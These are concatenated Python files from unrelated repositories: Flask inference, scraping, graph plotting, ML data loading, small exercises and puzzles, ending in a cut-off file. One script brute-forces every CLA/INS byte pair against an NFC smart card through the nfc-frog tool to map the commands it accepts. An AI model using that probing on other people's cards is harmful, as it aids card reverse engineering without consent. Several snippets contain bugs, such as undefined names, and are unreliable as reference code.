'\\n':\n line = line[:-1]\n if line:\n level, line = self.parse(line)\n logger = getattr(self.__logger, level)\n logger(line)\n else:\n self.__buffer.seek(0)\n self.__buffer.write(line)\n self.__buffer.truncate()\n break\n else:\n self.__buffer.seek(0)\n self.__buffer.truncate()\n break\n\n def parse(self, data):\n \"\"\"Override me!\n \"\"\"\n return 'info', data\n\n def isatty(self):\n \"\"\"I'm not a tty.\n \"\"\"\n return False\n\n def __enter__(self):\n \"\"\"Enter the context manager.\n \"\"\"\n setattr(sys, self.__name, self)\n\n def __exit__(self, exc_type, exc_value, traceback):\n \"\"\"Leave the context manager.\n \"\"\"\n setattr(sys, self.__name, self.__stream)\n\n\ndef test_with_fabric():\n \"\"\"Example use of `StreamLogger` to intercept Fabric's output.\n \"\"\"\n # Setup logger\n logger = logging.getLogger(__name__)\n handler = logging.StreamHandler(sys.stdout)\n formatter = logging.Formatter('%(levelname)s: %(message)s')\n handler.setFormatter(formatter)\n logger.addHandler(handler)\n logger.setLevel(logging.DEBUG)\n # Intercepts Fabric's output\n from fabric.api import run, env\n env.host_string = sys.argv[1]\n with StreamLogger('stdout', logger):\n run('ls -l')\n\n\nif __name__ == '__main__':\n test_with_fabric()\n","sub_path":"all-gists/2376336/snippet.py","file_name":"snippet.py","file_ext":"py","file_size_in_byte":3347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"41531185","text":"import io\nimport base64\n\nfrom flask import Flask,request, url_for, redirect, render_template, jsonify\nimport numpy as np\nfrom PIL import Image\nimport cv2\n\nimport torch\nimport torch.nn as nn \nfrom torchvision import transforms\n\nfrom config import model_src, PORT, DEBUG_MODE, max_width\nfrom model import BiSeNet\n\napp = Flask(__name__)\n\n# define colours\npart_colors = [[0, 0, 0], [0, 255, 0], [150, 30, 150], [255, 65, 255], [0, 80, 150], [65, 120, 170], \n [210, 180, 220], [100, 100, 200], [125, 125, 255], [125, 175, 215], [125, 125, 125], \n [0, 150, 255], [0, 255, 255], [255, 255, 0], [120, 225, 255], [255, 125, 125], [0, 0, 255],\n [255, 0, 0], [80, 150, 0]]\n\ndef allowed_file(filename):\n return '.' in filename and filename.rsplit('.', 1)[1].lower() in ['png', 'jpeg', 'jpg']\n\nto_tensor = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize((0.485, 0.456, 0.406), (0.229, 0.224, 0.225)),\n ])\n\n# load model\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\nNCLASSES = 19\nmodel = BiSeNet(n_classes=NCLASSES)\nmodel.load_state_dict(torch.load(model_src, map_location=torch.device(device)))\nmodel.eval()\n\n@app.route('/')\ndef home():\n return render_template(\"home.html\")\n\n@app.route('/predict',methods=['POST'])\ndef predict():\n\n # get file\n img_file = request.files['img']\n if img_file and allowed_file(img_file.filename):\n npimg = np.fromstring(img_file.read(), np.uint8)\n img = cv2.imdecode(npimg, cv2.IMREAD_COLOR)\n\n # preprocess\n img = Image.fromarray(np.uint8(img))\n orig_w, orig_h = img.size\n img = img.resize((512, 512), Image.BILINEAR)\n orig = img.copy()\n img = to_tensor(img)\n img = torch.unsqueeze(img, 0)\n img = img.to(device)\n img_list = [img, orig]\n\n # inference\n with torch.no_grad():\n out = model(img)[0]\n parsing = out.squeeze(0).cpu().numpy().argmax(0)\n \n # parse and colour\n im = np.array(orig)\n vis_im = im.copy().astype(np.uint8)\n vis_parsing_anno = parsing.copy().astype(np.uint8)\n vis_parsing_anno_color = np.zeros((vis_parsing_anno.shape[0], vis_parsing_anno.shape[1], 3)) + 255\n num_of_class = np.max(vis_parsing_anno)\n for pi in range(0, num_of_class + 1):\n index = np.where(vis_parsing_anno == pi)\n vis_parsing_anno_color[index[0], index[1], :] = part_colors[pi]\n vis_parsing_anno_color = vis_parsing_anno_color.astype(np.uint8)\n result_img = Image.fromarray(cv2.cvtColor(vis_parsing_anno_color, cv2.COLOR_BGR2RGB)).convert('RGBA')\n\n new_w, new_h = max_width, int(orig_h / orig_w * max_width)\n result_img = result_img.resize((new_w, new_h))\n\n # output format\n output = io.BytesIO()\n result_img.save(output, format='PNG')\n output.seek(0)\n output = output.getvalue()\n output = base64.b64encode(output)\n\n return render_template('home.html', img=output.decode(\"utf-8\"), orig_h=new_h, orig_w=new_w)\n\n@app.route('/predict_api',methods=['POST'])\ndef predict_api():\n data = request.get_json(force=True)\n data_unseen = pd.DataFrame([data])\n prediction = predict_model(model, data=data_unseen)\n output = prediction.Label[0]\n return jsonify(output)\n\nif __name__ == '__main__':\n app.run(host=\"0.0.0.0\", port=PORT, debug=DEBUG_MODE)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"140071797","text":"# import urllib.request as urllib2\nimport urllib2\nfrom bs4 import BeautifulSoup\n\n# csv\nimport csv\nfrom datetime import datetime\n\nrise_top_100_blockchain = \"https://www.rise.global/blockchain-100\";\n\n\npage = urllib2.urlopen(rise_top_100_blockchain)\n\n# parse the html using beautiful soup and store in variable `soup`\nsoup = BeautifulSoup(page, 'html.parser')\n\n# print soup\n\nnames_raw = soup.find_all('a', attrs={'class': 'player-username'})\nbios_raw = soup.find_all('p', attrs={'class': 'player-bio'})\n# name = soup.find('a', attrs={'class': 'player-username'})\n# bio = soup.find('p', attrs={'class': 'player-bio'})\n\nnames = list(map(lambda x: x.text.strip().encode('ascii', 'ignore'), names_raw))\nbios = list(map(lambda x: x.text.strip().encode('ascii', 'ignore').translate(None, ','), bios_raw))\nbios_truncated = list(map(lambda x: x.text.strip().encode('ascii', 'ignore')[:44].translate(None, ','), bios_raw))\n\n# print bios\n\nwith open('rise_names_index.csv', 'w') as csv_file:\n writer = csv.writer(csv_file)\n writer.writerow([names])\n\n\nwith open('rise_bios_index.csv', 'w') as csv_file:\n writer = csv.writer(csv_file)\n writer.writerow([bios])\n\nwith open('rise_bios_trunc.csv', 'w') as csv_file:\n writer = csv.writer(csv_file)\n writer.writerow([bios_truncated])\n","sub_path":"rise.py","file_name":"rise.py","file_ext":"py","file_size_in_byte":1263,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"424193603","text":"\n\n#calss header\nclass _RIDDLE():\n\tdef __init__(self,): \n\t\tself.name = \"RIDDLE\"\n\t\tself.definitions = [u'a type of question that describes something in a difficult and confusing way and has a clever or funny answer, often asked as a game', u'something that is confusing, or a problem that is difficult to solve: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_riddle.py","file_name":"_riddle.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"338885617","text":"from ROOT import TCanvas, TGraph, TMultiGraph\nfrom array import array\nfrom math import radians, tan\n\nc1 = TCanvas('c1', 'Wire plane', 10000, 10000)\nc1.SetFillColor(0)\n\nn = 10000\nx, y = array( 'd' ), array( 'd' )\n\nmg = TMultiGraph()\n\nfor i in range(334):\n\tfor j in range(n - 30*i):\n\t\tx.append(j)\n\t\ty.append(j + 30*i)\n\tgr = TGraph(n - 30*i, x, y)\n\tgr.SetLineWidth(1)\n\tmg.Add(gr)\n\tx, y = array(\"d\"), array(\"d\")\n\nfor i in range(334):\n\tfor j in range(30 * i, n):\n\t\tx.append(j)\n\t\ty.append(j - 30*i)\n\tgr = TGraph((n - (30 * i)), x, y)\n\tgr.SetLineWidth(1)\n\tmg.Add(gr)\n\tx, y = array(\"d\"), array(\"d\")\n\nmg.Draw(\"A\")\n\nraw_input()\n","sub_path":"graph_WC.py","file_name":"graph_WC.py","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"67864316","text":"#import pyyedplus\nimport pyyedjoe\n#import pyyed\n#\n#g = pyyedplus.Graph()\ng = pyyedjoe.Graph()\n#g =pyyed.Graph()\n#\n\nloc1 = g.add_group('LOC1')\nloc1.add_node('R1', shape='ellipse')\nloc1.add_node('R2', shape='ellipse')\nloc2 = g.add_group('LOC2')\ntechies = loc2.add_group('TECHIES')\ntechies.add_node('Eddy')\ntechies.add_node('Teddy')\ntechies.add_node('Freddy')\n\nservices = loc2.add_group('SERVICES')\nservices.add_node('DNS')\nservices.add_node('WWW')\nservices.add_node('MAIL')\n\nservices2 = loc2.add_group('SERVICES2')\nservices2.add_node('DNS2')\nservices2.add_node('WWW2')\nservices2.add_node('MAIL2')\n\nloc2.add_node('R3', shape='ellipse')\nloc2.add_node('R30', shape='ellipse')\n\n\ng.add_edge('R1', 'R2', arrowhead='none')\n\ng.add_edge('Teddy','DNS')\ng.add_edge('Teddy','WWW')\ng.add_edge('Teddy','MAIL')\n\ng.add_edge('Eddy','DNS2')\ng.add_edge('Eddy','WWW2')\n\ng.add_edge('Freddy','MAIL2')\ng.add_edge('Freddy','R3')\ng.add_edge('Freddy','R30')\n\ng.add_edge('R3','SERVICES', arrowhead='none', line_type='dashed')\ng.add_edge('R30','SERVICES2', arrowhead='none', line_type='dashed')\n\ng.add_edge('SERVICES','SERVICES2', arrowhead='none', line_type='dotted')\n\ng.add_edge('R3','R2', arrowhead='none')\ng.add_edge('R30','R2', arrowhead='none')\ng.add_edge('Freddy','RX', arrowhead='none')\n\n\n\ng.write_graph('infra_joe.graphml', pretty_print=True)\n","sub_path":"joe/infra_joe.py","file_name":"infra_joe.py","file_ext":"py","file_size_in_byte":1324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"9281700","text":"import time\n\nclass CacheHandler:\n\t\"\"\" \n\tThis class is used to save frequenctly accessed but,\n\trarely changed data of any kind.\n\t\"\"\"\n\tdef __init__(self):\n\t\t#global cache, common to all users\n\t\tself.data = {}\n\n\t\t#Cache specific to logged in users\n\t\tself.user_data = {}\n\n\tdef get_item(self, name, user_id=None):\n\t\tcurrent_epoch = int(time.time())\n\t\tif user_id:\n\t\t\tuser_id = str(user_id)\n\t\t\tif user_id in self.user_data and name in self.user_data[user_id]:\n\t\t\t\tif current_epoch < self.users[user_id][name][\"expire\"]:\n\t\t\t\t\treturn self.user_data[user_id][name][\"value\"]\n\t\telse:\n\t\t\tif name in self.data:\n\t\t\t\tif current_epoch < self.data[name][\"expire\"]:\n\t\t\t\t\treturn self.data[name][\"value\"]\n\n\t\treturn None\n\n\tdef set_item(self, name, value, user_id=None, expire_hrs=12):\n\t\t\"\"\" \n\t\tSet/Update cached data \n\t\texpire_hrs: No.of hrs after which this cache will be cleared\n\t\t\"\"\"\n\t\tif value==None:\n\t\t\tself.delete_item(name)\n\t\telse:\n\t\t\texpire_epoch = int(time.time()) + int(expire_hrs*60*60)\n\t\t\tif user_id:\n\t\t\t\tuser_id = str(user_id)\n\t\t\t\tif not user_id in self.user_data:\n\t\t\t\t\tself.user_data[user_id] = {}\n\n\t\t\t\tself.user_data[user_id][name] = {\"value\": value, \"expire\": expire_epoch}\n\t\t\telse:\n\t\t\t\tself.data[name] = {\"value\": value, \"expire\": expire_epoch}\n\n\tdef delete_item(self, name, user_id=None):\n\t\tif user_id:\n\t\t\tuser_id=str(user_id)\n\t\t\tif user_id in self.user_data:\n\t\t\t\tdel(self.user_data[user_id])\n\t\telse:\n\t\t\tif name in self.data:\n\t\t\t\tdel(self.data[name])\n\nCache = CacheHandler()","sub_path":"mad/lib/cache.py","file_name":"cache.py","file_ext":"py","file_size_in_byte":1471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"580615113","text":"import numpy as np\nimport os.path\nfrom data.base_dataset import BaseDataset, get_transform\nfrom data.image_folder import make_dataset\nfrom PIL import Image\nimport random\nimport util\nimport torch\nfrom torchvision import transforms\n\n\n\ndef unnormalize(tensor, mean, std):\n\tfor t, m, s in zip(tensor, mean, std):\n\t\tt.mul_(s).add_(m)\n\treturn tensor\n\nclass MultiPatchesDataset(BaseDataset):\n\t\"\"\"\n\tThis dataset class can load unaligned/unpaired datasets.\n\n\tIt requires two directories to host training images from domain A '/path/to/data/trainA'\n\tand from domain B '/path/to/data/trainB' respectively.\n\tYou can train the model with the dataset flag '--dataroot /path/to/data'.\n\tSimilarly, you need to prepare two directories:\n\t'/path/to/data/testA' and '/path/to/data/testB' during test time.\n\t\"\"\"\n\n\tdef __init__(self, opt):\n\t\t\"\"\"Initialize this dataset class.\n\n\t\tParameters:\n\t\t\topt (Option class) -- stores all the experiment flags; needs to be a subclass of BaseOptions\n\t\t\"\"\"\n\t\tBaseDataset.__init__(self, opt)\n\n\t\tself.dir_A = os.path.join(opt.dataroot, opt.phase + 'A') # create a path '/path/to/data/trainA'\n\t\tself.dir_B = os.path.join(opt.dataroot, opt.phase + 'B') # create a path '/path/to/data/trainB'\n\n\t\tif opt.phase == 'test' and not os.path.exists(self.dir_A) \\\n\t\t\tand os.path.exists(os.path.join(opt.dataroot, 'valA')):\n\t\t\tself.dir_A = os.path.join(opt.dataroot, 'valA')\n\t\t\tself.dir_B = os.path.join(opt.dataroot, 'valB')\n\n\t\tself.A_paths = sorted(make_dataset(self.dir_A, opt.max_dataset_size)) # load images from '/path/to/data/trainA'\n\t\tself.B_paths = sorted(make_dataset(self.dir_B, opt.max_dataset_size)) # load images from '/path/to/data/trainB'\n\t\tself.A_size = len(self.A_paths) # get the size of dataset A\n\t\tself.B_size = len(self.B_paths) # get the size of dataset B\n\n\t\t# In single-image translation, we augment the data loader by applying\n\t\t# random scaling. Still, we design the data loader such that the\n\t\t# amount of scaling is the same within a minibatch. To do this,\n\t\t# we precompute the random scaling values, and repeat them by |batch_size|.\n\t\t# A_zoom = 1 / self.opt.random_scale_max\n\t\t# zoom_levels_A = np.random.uniform(A_zoom, 1.0, size=(len(self) // opt.batch_size + 1, 1, 2))\n\t\t# self.zoom_levels_A = np.reshape(np.tile(zoom_levels_A, (1, opt.batch_size, 1)), [-1, 2])\n\n\t\t# B_zoom = 1 / self.opt.random_scale_max\n\t\t# zoom_levels_B = np.random.uniform(B_zoom, 1.0, size=(len(self) // opt.batch_size + 1, 1, 2))\n\t\t# self.zoom_levels_B = np.reshape(np.tile(zoom_levels_B, (1, opt.batch_size, 1)), [-1, 2])\n\n\tdef __getitem__(self, index):\n\t\t\"\"\"Return a data point and its metadata information.\n\n\t\tParameters:\n\t\t\tindex (int) -- a random integer for data indexing\n\n\t\tReturns a dictionary that contains A, B, A_paths and B_paths\n\t\t\tA (tensor) -- an image in the input domain\n\t\t\tB (tensor) -- its corresponding image in the target domain\n\t\t\tA_paths (str) -- image paths\n\t\t\tB_paths (str) -- image paths\n\t\t\"\"\"\n\t\tA_path = self.A_paths[index % self.A_size]\n\t\tif self.opt.serial_batches: # make sure index is within the range\n\t\t\tindex_B = index % self.B_size\n\t\telse: # randomize the index for domain B to avoid fixed pairs.\n\t\t\tindex_B = random.randint(0, self.B_size - 1)\n\t\tB_path = self.B_paths[index_B]\n\t\tA_img = Image.open(A_path).convert('RGB')\n\t\tB_img = Image.open(B_path).convert('RGB')\n\t\t# apply image transformation\n\t\tis_finetuning = self.opt.isTrain and self.current_epoch > self.opt.n_epochs\n\t\tmodified_opt = util.util.copyconf(self.opt, load_size=self.opt.crop_size if is_finetuning else self.opt.load_size)\n\t\t\n\t\t# the dataloader pipeline does not change for B domain\n\t\ttransform = get_transform(modified_opt)\n\t\tA = transform(A_img)\n\t\tB = transform(B_img)\n\n\t\tdata = {'A': A, 'B': B, 'A_paths': A_path, 'B_paths': B_path}\n\n\t\t# import pdb;pdb.set_trace()\n\t\t# extend with different ratio\n\t\tA_extend = []\n\t\tratios = self.opt.ratios\n\t\tif ratios is None:\n\t\t\treturn data\n\t\telse:\n\t\t\tratios = [[1.0/ratios[i], 1.0/ratios[i+1]] for i in range(0,len(ratios), 2) ]\n\n\t\tfor ratio_w, ratio_h in ratios:\t\t\n\t\t\tA_copy = A.clone()\n\t\t\t# Different Ratio\n\t\t\ttrans = transforms.Compose([transforms.Lambda(lambda img: unnormalize(img, (0.5,0.5,0.5), (0.5,0.5,0.5))),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ttransforms.ToPILImage(), \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ttransforms.Resize([int(A.shape[1]*ratio_w), int(A.shape[2]*ratio_h)], interpolation=Image.NEAREST),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ttransforms.ToTensor(),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ttransforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t])\n\t\t\tA_extend.append(trans(A_copy))\n\t\tdata['A_extend'] = A_extend\n\t\t\n\t\treturn data \n\n\tdef __len__(self):\n\t\t\"\"\" Return the total number of images in the dataset.\n\n\t\tAs we have two datasets with potentially different number of images.\n\t\twe take a maximum of \n\t\t\"\"\"\n\t\treturn max(self.A_size, self.B_size)\n","sub_path":"data/multipatches_dataset.py","file_name":"multipatches_dataset.py","file_ext":"py","file_size_in_byte":4789,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"590754879","text":"\"\"\"\nExercise 2: Write a program to look for lines of the form:\n\nNew Revision: 39772\n\nExtract the number from each of the lines using a regular expression and the findall()\nmethod. Compute the average of the numbers and print out the average as an integer.\n\nEnter file:mbox.txt\n38549\n\nEnter file:mbox-short.txt\n39756\n\nYou can download the files from:\nhttps://www.py4e.com/code3/mbox.txt and https://www.py4e.com/code3/mbox-short.txt\n\"\"\"\n\nimport re\n\nfname = input(\"Enter file name: \")\ntry:\n fhand = open(fname)\nexcept:\n print(\"Couldn't find file\", fname)\n quit()\n\nlist = []\n\nfor line in fhand:\n line = line.rstrip()\n NR_numbers = re.findall('^New Revision: ([0-9.]+)', line)\n # print(\"Debug:\", NR_numbers)\n for number in NR_numbers:\n number = float(number)\n list = list + [number]\n # print(\"Debug:\", list)\ntotal = sum(list)\ncount = float(len(list))\nave = total/count\n# print(ave)\nformat_ave = \"{:.2f}\".format(ave)\nprint(format_ave)\n","sub_path":"Chapter 11: Regular Expressions/ex.11.2.py","file_name":"ex.11.2.py","file_ext":"py","file_size_in_byte":972,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"189216267","text":"import datetime\r\n\r\ndef printTimeStamp(name):\r\n print('Автор програми: ' + name)\r\n print('Час компіляції: ' + str(datetime.datetime.now()))\r\nprintTimeStamp('Пікула. Погорілий')\r\n\r\nt = float(input('Введіть температуру повітря: '))\r\nv = float(input('Введіть швидкість вітру: '))\r\n\r\ncheck = 0\r\ncheck_t = 0\r\ncheck_v = 0\r\n\r\nif t >= 10:\r\n check = 1\r\n check_t = 1\r\nelse:\r\n check = 0\r\nif v <= 4.8:\r\n check = 1\r\n check_v = 1\r\nelse:\r\n check = 0\r\n\r\nwhile check == 0:\r\n v = v**0.16\r\n wci = 13.12 + (0.6215*t) + (11.37*v) + (0.3965*t*v)\r\n print (wci)\r\n check = 1\r\nelse:\r\n if check_t == 1:\r\n print ('Висока температура повітря')\r\n if check_v == 1:\r\n print ('Мала швидкість вітру')\r\n","sub_path":"моя практика/1 день/B/16б.py","file_name":"16б.py","file_ext":"py","file_size_in_byte":852,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"590779592","text":"#!/usr/bin/env python3\n\nimport sys\nimport subprocess\nfrom subprocess import PIPE, DEVNULL\n\nclass DeviceNFC:\n def __init__(self):\n app = [\"sudo\", \"./nfc-frog\", \"shell\"]\n kwargs = {\"stdin\":PIPE, \"stdout\":PIPE, \"stderr\":DEVNULL}\n\n self.proc = subprocess.Popen(app, **kwargs)\n\n def execute_command(self, command_str):\n command_bytes = (command_str + \"\\n\").encode(\"utf-8\")\n\n self.proc.stdin.write(command_bytes)\n self.proc.stdin.flush()\n\n self.proc.stdout.readline()\n self.proc.stdout.readline()\n res = self.proc.stdout.readline().decode(\"utf-8\").strip(\"\\n \")\n\n return res\n\nerrors = [\n \"6D 00\", # Wrong INS\n \"6E 00\", # Wrong CLA\n \"6F 00\", # Unknown error\n \"6A 81\", # Function not supported\n \"68 81\", # Logical channel not supported\n \"68 82\", # Secure messaging not supported\n]\n\nif __name__ == \"__main__\":\n device = DeviceNFC()\n\n for cla in range(0, 256):\n for ins in range(0, 256):\n command = f\"{hex(cla)} {hex(ins)} 00 00 00\"\n\n SW = device.execute_command(command)\n\n if SW not in errors:\n print(hex(ins), hex(cla), \":\", SW, flush=True)\n","sub_path":"shell.py","file_name":"shell.py","file_ext":"py","file_size_in_byte":1187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"411454755","text":"import argparse\nimport logging\nimport os\nimport sys\n\nimport hypertune\nimport numpy as np\nimport pandas as pd\nfrom sklearn import model_selection\n\nfrom trainer import metadata\nfrom trainer import model\nfrom trainer import utils\n\nfrom sklearn.model_selection import cross_val_score\n\n\ndef _train_and_evaluate(estimator, dataset, flags):\n \n \n train_X = dataset['0'] # '0' corresponds to Texts/Reviews\n train_y = dataset['1'].astype('int') # '1' corresponds to Label (1 - positive and 0 - negative)\n logging.info(train_X)\n logging.info(train_y)\n \n logging.info('fitting the model...')\n estimator.fit(train_X, train_y)\n\n utils.dump_model(flags.bucket_name, estimator, 'preprocessed-pipeline/model/')\n logging.info('saved model!')\n\n\n\ndef run_experiment(flags):\n gcp_data = utils.get_gcp_data(flags.bucket_name, flags.file_path, 'imdb_train.csv')\n dwc_data = utils.get_dwc_data(flags.table_name, float(flags.table_size))\n model_data = pd.concat([gcp_data, dwc_data], axis=0)\n model_data = model_data.head(30000)\n logging.info(model_data.shape)\n\n logging.info('data retrieved successfully')\n \n\n estimator = model.get_estimator(flags)\n\n _train_and_evaluate(estimator, model_data, flags)\n\n\ndef _parse_args(argv):\n \"\"\"Parses command-line arguments.\"\"\"\n\n parser = argparse.ArgumentParser()\n\n parser.add_argument('--table_name', type=str)\n parser.add_argument('--table_size', type=str)\n parser.add_argument('--file_path')\n parser.add_argument('--job-dir', type=str)\n parser.add_argument('--bucket_name', type=str)\n \n return parser.parse_args(argv)\n\n\ndef main():\n \"\"\"Entry point.\"\"\"\n logging.info('model starting')\n\n flags = _parse_args(sys.argv[1:])\n \n logging.basicConfig(level='INFO')\n run_experiment(flags)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"GCP/sample-notebooks/PreprocessingAndTrainingPipeline/PreprocessingAndTrainingPipeline/trainer/task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":1844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"493503199","text":"import tensorflow as tf\n\n\ndef centerCropAndRezise(dataset):\n image = dataset[\"video\"]\n centerImage = tf.image.central_crop(image,0.5)\n resizedImage = tf.image.resize(centerImage, [200,200])\n randomImage = tf.image.random_crop(resizedImage,(170,170,3),seed=None,name=None)\n flipImage = tf.image.random_flip_left_right(randomImage, seed =None)\n dataset[\"video\"] = flipImage\n return dataset\n","sub_path":"code/cluster_items/msc-project/pretrainedModels/util/imageCropping.py","file_name":"imageCropping.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"300766806","text":"#The Riddler Classic 2017-10-06: Beat the Game Show\n#Monte-Carlo simulation of optimal strategy\n\nimport random\n\nNsim = 10000 #Number of simulations\ncount = 0\n\nn = 100 #number of players\ng = 50 #number of guesses\n\nfor N in range(Nsim):\n #generate boxes randomly\n boxes = list(range(n))\n random.shuffle(boxes)\n\n found_box = [False]*n\n\n #simulate each player going into the room\n for i in range(n):\n next_box = i\n #simulate following the optimal strategy\n for j in range(g):\n number_in_box = boxes[next_box]\n if (number_in_box == i):\n found_box[i] = True\n break\n\n next_box = number_in_box\n\n if (all(found_box)):\n count += 1\n\n#print empirical probability\nprint(count/Nsim)\n","sub_path":"classic/beat_the_game_show.py","file_name":"beat_the_game_show.py","file_ext":"py","file_size_in_byte":781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"260421324","text":"# ENGG 2440A Lecture 4 -- python code\n# Requires: python3\n\n# Extended Euclid's algorithm\ndef xgcd(n, d):\n if d == 0:\n return (1, 0)\n else:\n (s, t) = xgcd(d, n % d)\n return (t, s - t * (n // d))\n\n# Euclid's algorithm\ndef gcd(n, d):\n (s, t) = xgcd(n, d)\n return s * n + t * d\n\n\n# State machine for the jugs game\nclass Jugs:\n def __init__(self, a, b, verbose = False):\n self.capacity = {}\n self.capacity['A'] = a\n self.capacity['B'] = b\n self.water = {}\n self.water['A'] = 0\n self.water['B'] = 0\n self.verbose = verbose\n\n if self.verbose:\n self._print_state(\"Start\")\n\n def is_empty(self, jug):\n return self.water[jug] == 0\n\n def is_full(self, jug):\n return self.water[jug] == self.capacity[jug]\n\n def contents(self, jug):\n return self.water[jug]\n\n def spill(self, jug):\n self.water[jug] = 0\n\n if self.verbose:\n self._print_state(\"Spill \" + jug)\n\n def fill(self, jug):\n self.water[jug] = self.capacity[jug]\n\n if self.verbose:\n self._print_state(\"Fill \" + jug)\n\n def pour(self, fromjug, tojug):\n slack = self.capacity[tojug] - self.water[tojug]\n if self.water[fromjug] <= slack:\n self.water[tojug] += self.water[fromjug]\n self.water[fromjug] = 0\n else:\n self.water[tojug] += slack\n self.water[fromjug] -= slack\n\n if self.verbose:\n self._print_state(fromjug + \" - \" + str(slack) + \" l -> \" + tojug)\n\n def _draw(self, jar):\n return '=' * self.water[jar] + '.' * (self.capacity[jar] - self.water[jar])\n\n def _print_state(self, last_transition):\n print('{:<25}'.format(last_transition), 'A:', self._draw('A'), ' B:', self._draw('B'))\n\n# Play the jugs game interactively\ndef play_jugs(a, b, v):\n game = Jugs(a, b, True)\n\n while game.contents('A') != v and game.contents('B') != v:\n move = input(\"Your move: \").upper()\n\n if move not in ('FA', 'FB', 'SA', 'SB', 'AB', 'BA', 'Q'):\n print(\"Invalid move!\")\n elif move == 'q':\n return\n elif move[0] == 'F':\n game.fill(move[1])\n elif move[0] == 'S':\n game.spill(move[1])\n else:\n game.pour(move[0], move[1])\n\n print(\"You win!\")\n\n# Play the jugs game with the zigzag strategy\ndef zigzag_jugs(a, b, v):\n game = Jugs(a, b, True)\n\n while game.contents('A') != v:\n game.fill('B')\n game.pour('B', 'A')\n if game.is_full('A'):\n game.spill('A')\n game.pour('B', 'A')\nprint(xgcd(9, 23))\n","sub_path":"w4_code.py","file_name":"w4_code.py","file_ext":"py","file_size_in_byte":2662,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"310811043","text":"import os\nimport sys\n\nimport gensim\nimport numpy as np\nfrom scipy.spatial.distance import euclidean\nfrom tqdm import tqdm\n\nfrom features.transform import nltk_tokenize\nfrom features.utils import feature_output_file, common_feature_parser, generate_filename_from_prefix, get_stop_words\n\n\ndef calculate_distance(q1: str, q2: str, model: gensim.models.KeyedVectors):\n swords = get_stop_words()\n q1 = [word for word in str(q1).lower().split() if word not in swords and word.isalpha()]\n q2 = [word for word in str(q2).lower().split() if word not in swords and word.isalpha()]\n\n wq1 = []\n wq2 = []\n for word in q1:\n try:\n wq1.append(model[word])\n except:\n continue\n for word in q2:\n try:\n wq2.append(model[word])\n except:\n continue\n\n maximum = 0\n for w2 in wq2:\n minimum = 1e10\n for w1 in wq1:\n minimum = min(minimum, euclidean(w1, w2))\n maximum = max(maximum, minimum)\n return maximum\n\n\ndef create_feature(data_file, model):\n if os.path.exists(feature_output_file(data_file)):\n print('File exists {}.'.format(feature_output_file(data_file)))\n return\n\n df = nltk_tokenize(data_file)\n print(sys.argv[0], data_file, file=sys.stderr)\n column_name = 'f{0}'.format(os.path.basename(feature_output_file(data_file)).split('_')[0])\n\n values = np.zeros((df.shape[0]))\n for i in tqdm(range(df.shape[0])):\n q1 = df.question1.values[i]\n q2 = df.question2.values[i]\n values[i] = calculate_distance(q1, q2, model)\n\n df[column_name] = values\n df[[column_name]].to_csv(feature_output_file(data_file), index=False, float_format='%.5f')\n\n\ndef main():\n parser = common_feature_parser()\n parser.add_argument('--google_word2vec', default='data/input/GoogleNews-vectors-negative300.bin', type=str)\n options = parser.parse_args()\n\n model = gensim.models.KeyedVectors.load_word2vec_format(options.google_word2vec, binary=True)\n for k, file_name in generate_filename_from_prefix(options.data_prefix):\n if 'test' in file_name and options.train_only:\n continue\n create_feature(data_file=file_name, model=model)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"features/72_word2vec_q2q1_distance.py","file_name":"72_word2vec_q2q1_distance.py","file_ext":"py","file_size_in_byte":2251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"324365884","text":"import matplotlib.pyplot as plt\nimport networkx as nx\nimport numpy as np\n\nimport seaborn as sns\n\nfrom experiments.within_box import BoxedCavesExperiment\n\n\ndef vis_graph(n_caves, n_per_cave, l=2, lp=0.2, cave_adjust_angle=1.625*np.pi,\n randomize=False, save_path=None, disconnected=False,\n figsize=(8, 8)):\n\n # Build node positions list.\n pos = []\n for i in range(n_caves):\n for j in range(n_per_cave):\n # 